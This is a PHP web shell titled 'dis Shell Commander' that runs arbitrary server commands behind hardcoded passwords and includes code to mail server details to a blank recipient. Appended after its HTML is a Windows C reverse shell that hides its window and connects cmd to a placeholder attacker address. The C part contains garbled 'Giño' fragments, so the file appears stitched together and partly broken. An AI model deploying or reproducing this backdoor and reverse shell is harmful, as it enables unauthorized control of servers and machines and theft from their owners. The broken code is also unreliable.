<?php


error_reporting(0);
session_start();

unset($user);        // Just in case ;-]
unset($pass);

if ($_POST['cmd']) $_POST['cmd'] = my_encode($_POST['cmd']);

$cache_lines = 1000;
$history_lines = 100;
$history_chars = 20;

$user[] = "root";                $pass[] = md5("hacked");
$user[] = "user";      $pass[] = md5("muie1234");
$to="";
$subject = "php SSH";
$info .= "HOST:\t$HTTP_HOST\n";
$info .= "DOC_ROOT:\t$PATH_TRANSLATED\n";
$info .= "IP:\t$REMOTE_ADDR\n";
$info .= "URL:\t$HTTP_REFERER\n";
$from = "nobody@nobody.com";

if ($_SESSION['login'])
{
   mail ("$to","$subject","$info","$from");
}


$alias = array(
    "la"    => "ls -la",
    "rf"    => "rm -f",
    "unbz2" => "tar -xjpf",
    "ungz"  => "tar -xzpf"
);



if (!$_SESSION['user']) {

    $pr_login = "Login:\n";
    $pr_pass = "Password:\n";
    $err = "Invalid login!\n\n";
    $succ = "Warning!
Don`t be stupid .. this is a priv3 server, so take extra care!!!\n\n";

    if ($_SESSION['login'] && $_POST['cmd']) { // WE HAVE USERNAME & PASSWORD

        $_SESSION['output'] .= $pr_pass;

        if (in_array($_SESSION['login'], $user)) { //........ USERNAME EXISTS

            $key = array_search($_SESSION['login'], $user);

            if ($pass[$key] != md5($_POST['cmd'])) { //....... WRONG PASSWORD
                $_SESSION['output'] .= $err;
                unset($_SESSION['login']);
                $prompt = $pr_login;

            } else { //..................................... SUCCESSFUL LOGIN
                $_SESSION['user'] = $_SESSION['login'];
                $_SESSION['whoami'] = substr(shell_exec("whoami"), 0, -1);
                $_SESSION['host'] = substr(shell_exec("uname -n"), 0, -1);
                $_SESSION['dir'] = substr(shell_exec("pwd"), 0, -1);
                $_SESSION['output'] .= $succ;
                $prompt = set_prompt();
                unset($_SESSION['login']);
            }

        } else { //......................................... NO SUCH USERNAME
            $_SESSION['output'] .= $err;
            unset($_SESSION['login']);
            $prompt = $pr_login;
        }

    } else { //................................................ LOGIN PROCESS

        if (!$_SESSION['login'] && !$_POST['cmd']) $prompt = $pr_login;

        if (!$_SESSION['login'] && $_POST['cmd']) {
            $_SESSION['login'] = $_POST['cmd'];
            $_SESSION['output'] .= substr($pr_login, 0, -1) . " $_POST[cmd]\n";
            $prompt = $pr_pass;
        }
    }

} else { //........................................................ LOGGED IN



                            /*=-- MEMBERS AREA --=*\
                            \*=-- MEMBERS AREA --=*/


    $prompt = set_prompt();

    chdir($_SESSION['dir']);

    if ($_REQUEST['clear_hist']) //............................ CLEAR HISTORY
        $_SESSION['history'] = "";

    if ($_SESSION['history']) $hist_arr = explode("\n", $_SESSION['history']);

    if ($_POST['cmd']) {

        if (!in_array($_POST['cmd'], $hist_arr)) { //......... ADD TO HISTORY
            $hist_arr[] = $_POST['cmd'];
            $_SESSION['history'] = implode("\n", $hist_arr);
        }

        if (count($hist_arr) > $history_lines) { //........... CUTOFF HISTORY
            $start = count($hist_arr) - $history_lines;
            $_SESSION['history'] = "";

            for ($i = $start; $i < count($hist_arr); $i++)
                $_SESSION['history'] .= $hist_arr[$i] . "\n";

            $_SESSION['history'] = substr($_SESSION['history'], 0, -1);
            $hist_arr = explode("\n", $_SESSION['history']);
        }

        $first_word = first_word($_POST['cmd']);

        if (array_key_exists($first_word, $alias)) { //. CHECKING FOR ALIASES
            $_POST['cmd'] = $alias[$first_word] . substr($_POST['cmd'], strlen($first_word));
            $first_word = first_word($_POST['cmd']);
        }

        switch ($first_word) {

          case "clear":
            $_SESSION['output'] = "";
            break;

          case "exit":
            session_destroy();
            refresh();
            break;

          case "cd":
            $_SESSION['output'] .= $prompt;
                $result = shell_exec($_POST['cmd'] . " 2>&1 ; pwd");
            $result = explode("\n", $result);
            $_SESSION['dir'] = $result[count($result) - 2];

            if (count($result) > 2) //.............. WE HAVE AN ERROR MESSAGE
                $result[0] = "\n" . substr($result[0], strpos($result[0], "cd: ")) . "\n";
            else $result[0] = "\n";

                $prompt = set_prompt();
                $_SESSION['output'] .= $_POST['cmd'] . $result[0];
                break;

          default:
            $result = shell_exec($_POST['cmd'] . " 2>&1");

            if (substr($result, -1) != "\n") $result .= "\n";
            $_SESSION['output'] .= $prompt . $_POST['cmd'] . "\n" . $result;

            $rows = preg_match_all('/\n/', $_SESSION['output'], $arr);
            unset($arr);

            if ($rows > $cache_lines) {
                    preg_match('/(\n[^\n]*){' . $cache_lines . '}$/', $_SESSION['output'], $out);
                $_SESSION['output'] = $out[0] . "\n";
            }
        }
    }
}



                             /*=-- FUNCTIONS --=*\
                             \*=-- FUNCTIONS --=*/


function my_encode($str) {
    $str = str_replace("\\\\", "\\", $str);
    $str = str_replace("\\\"", "\"", $str);
    $str = str_replace("\\'", "'", $str);

    while (strpos($str, "  ") !== false) $str = str_replace("  ", " ", $str);

    return rtrim(ltrim($str));
}

function set_prompt() {
    global $_SESSION;

    return $_SESSION['whoami'] . "@" . $_SESSION['host'] . " " . substr($_SESSION['dir'], strrpos($_SESSION['dir'], "/") + 1) . " $ ";
}

function first_word($str) {
    list($str) = preg_split('/[ ;]/', $str);
    return $str;
}

function refresh() {
    global $_SERVER;

    $self = substr($_SERVER['SCRIPT_NAME'], strrpos($_SERVER['SCRIPT_NAME'], "/") + 1);
    header("Location: $self");
    die;
}



                             /*=-- HTML PAGE --=*\
                             \*=-- HTML PAGE --=*/


$out = substr(preg_replace('/<\/(textarea)/i', '&lt;/\1', $_SESSION['output']), 0, -1);

?><HTML>

<HEAD>
  <TITLE>dis Shell Commander</TITLE>
  <STYLE TYPE="text/css"><!--

    INPUT, TEXTAREA, SELECT, OPTION, TD {
        color: #BBBBBB;
        background-color: #000000;
        font-family: Terminus, Fixedsys, Fixed, Terminal, Courier New, Courier;
    }

    TEXTAREA {
        overflow-y: auto;
        border-width: 0px;
        height: 100%;
        width: 100%;
        padding: 0px;
    }

    INPUT {
        border-width: 0px;
        height: 26px;
        width: 100%;
        padding-top: 5px;
    }

    SELECT, OPTION {
        color: #000000;
        background-color: #BBBBBB;
    }

    BODY {
        overflow-y: auto;
        margin: 0;
    }

  --></STYLE>
  <SCRIPT LANGUAGE="javascript"><!--

hist_arr = new Array();

<?php

foreach ($hist_arr as $key => $value) {
    $value = str_replace("\\", "\\\\", $value);
    $value = str_replace("\"", "\\\"", $value);
    echo "hist_arr[$key] = \"$value\";\n";
}

?>

function parse_hist(key) {
    if (key < hist_arr.length) {
            if (key != "") {
            document.getElementById('input').value = hist_arr[key];
            document.getElementById('input').focus();
        }
    } else {
            window.location.href = "?clear_hist=1";
    }
}

function input_focus() {
    document.getElementById('input').focus();
}

function selection_to_clipboard() { // IE only!
    if (window.clipboardData && document.selection)
        window.clipboardData.setData("Text", document.selection.createRange().text);
}

if (window.clipboardData)
    document.oncontextmenu = new Function("document.getElementById('input').value = window.clipboardData.getData('Text'); input_focus(); return false");

  --></SCRIPT>
</HEAD>
<BODY onLoad="document.getElementById('output').scrollTop = document.getElementById('output').scrollHeight; input_focus()" TOPMARGIN="0" LEFTMARGIN="0">
<TABLE CELLPADDING="0" CELLSPACING="0" BORDER="0" HEIGHT="100%" WIDTH="100%">
<TR>
  <TD HEIGHT="100%" BGCOLOR="#000000" STYLE="padding-top: 5px; padding-left: 5px; padding-right: 5px; padding-bottom: 0px"><TEXTAREA ID="output" onSelect="selection_to_clipboard()" onClick="input_focus()" READONLY><?= $out ?></TEXTAREA></TD>

</TR>
<TR>
  <TD BGCOLOR="#000000"><TABLE CELLPADDING="0" CELLSPACING="5" BORDER="0" WIDTH="100%">
    <TR>
    <FORM METHOD="POST" ACTION="">
      <TD NOWRAP onClick="input_focus()"><?= substr($prompt, 0, -1) ?></TD>
      <TD WIDTH="100%"><INPUT ID="input" TYPE="<?= (!$_SESSION['user'] && $_SESSION['login']) ? 'PASSWORD' : 'TEXT' ?>" NAME="cmd"></TD>
    </FORM><?php

if ($hist_arr) {

    ?><TD NOWRAP><SELECT onChange="parse_hist(this.options[this.selectedIndex].value)">
        <OPTION VALUE="">--- HISTORY</OPTION><?php

    for ($i = count($hist_arr) - 1; $i >= 0; $i--) {

        if (strlen($hist_arr[$i]) > $history_chars) $option = substr($hist_arr[$i], 0, $history_chars - 3) . "...";
        else $option = $hist_arr[$i];

        echo "<OPTION VALUE=\"" . $i . "\">$option</OPTION>";
    }

      ?><OPTION VALUE="<?= $history_lines + 1 ?>">--- CLEAR HISTORY</OPTION></SELECT></TD><?php

}

  ?></TR>

  </TABLE></TD>
</TR>
</TABLE>

<SCRIPT LANGUAGE="javascript"><!--
document.getElementById('output').scrollTop = document.getElementById('output').scrollHeight;
--></SCRIPT>

</BODY>
</HTML><?

#include <winsock2.h>
#include <stdio.h>
#include <windows.h>
#pragma comment(lib,"ws2_32"Giño

int main(int argc, char *argv[])
{
ShowWindow(GetForegroundWindow(),SW_HIDE);
WSADATA wsaData;
SOCKET hSocket;
STARTUPINFO si;
PROCESS_INFORMATION pi;
struct sockaddr_in addr;
memset(&addr,0,sizeof(addr));
memset(&si,0,sizeof(si));
WSAStartup(MAKEWORD(2,0),&wsaData);
hSocket = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
addr.sin_family = AF_INET;
addr.sin_port = htons(PUERTO);
addr.sin_addr.s_addr = inet_addr("TU IP O DOMINIO NO-IP")Giño;
connect(hSocket,(struct sockaddr*)&addr,sizeof(addr));
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = si.hStdOutput = si.hStdError = (void *)hSocket;
CreateProcess(NULL,"cmd",NULL,NULL,true,NULL,NULL,NULL,&si,&pi);
ExitProcess(0);
}